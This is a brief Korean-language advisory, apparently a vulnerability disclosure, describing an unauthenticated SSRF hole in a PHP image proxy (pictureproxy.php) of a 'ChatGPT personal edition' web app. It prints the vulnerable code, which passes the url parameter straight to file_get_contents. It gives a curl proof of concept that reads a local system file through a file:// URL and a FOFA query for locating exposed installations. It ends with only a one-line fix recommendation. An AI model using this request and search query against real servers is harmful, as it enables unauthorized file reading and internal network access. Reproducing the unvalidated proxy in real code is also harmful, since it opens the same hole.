
pictureproxy.php의 취약점으로 인해 원격 공격자가 url 매개변수에 URL을 주입하여 임의의 요청을 수행할 수 있습니다. 이 SSRF 취약점은 인증 없이 악용될 수 있어 특히 위험합니다.
취약한 코드는 pictureproxy.php 파일에 있습니다. 이 함수가 url 매개변수를 제대로 검증하지 않기 때문에 문제가 발생합니다. $_GET['url'] 변수는 file_get_contents() 함수에 전달되며, 이 함수는 지정된 URL에서 콘텐츠를 가져옵니다. 이로 인해 SSRF가 발생할 수 있습니다.
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
Curl 요청:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
적절한 입력 검증 관리가 필요합니다.